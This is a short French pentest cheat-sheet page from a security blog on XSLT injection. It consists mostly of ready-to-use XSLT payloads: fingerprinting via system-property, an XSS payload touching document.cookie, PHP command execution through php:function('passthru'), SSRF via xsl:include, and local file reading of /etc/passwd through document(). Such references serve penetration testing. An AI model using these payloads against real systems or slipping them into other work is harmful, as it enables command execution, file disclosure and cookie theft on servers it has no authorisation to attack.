> For the complete documentation index, see [llms.txt](https://blog.s1rn3tz.ovh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://blog.s1rn3tz.ovh/pentest-web/injections/xslt.md).

# XSLT

XSLT (Extensible Stylesheet Language Transformations) est un langage permettant de transformer des documents XML en d'autres documents XML, ou d'autres formats tels que HTML pour les pages Web, texte brut. Lorsque le contenu XSLT est contrôlable par l'utilisateur, diverses attaques sont possibles

## Recon

<pre class="language-xml"><code class="lang-xml"><strong>&#x3C;xsl:value-of select="system-property('xsl:version')" />
</strong><strong>&#x3C;xsl:value-of select="system-property('xsl:vendor')" />
</strong><strong>&#x3C;xsl:value-of select="system-property('xsl:vendor-url')" />
</strong></code></pre>

## XSS

```xml
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<xsl:template match="/">
<script>alert(document.cookie)</script>
</xsl:template>
</xsl:stylesheet>
```

## PHP RCE

```xml
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<xsl:template match="/">
<xsl:value-of select="php:function('passthru','ls -la /')"/>
</xsl:template>
</xsl:stylesheet>
```

## SSRF

```xml
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:include href="http://127.0.0.1:8000/xslt"/>
<xsl:template match="/">
</xsl:template>
</xsl:stylesheet>
```

## LFI

```xml
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<xsl:template match="/">
<xsl:copy-of select="document('/etc/passwd')"/>
</xsl:template>
</xsl:stylesheet>
```
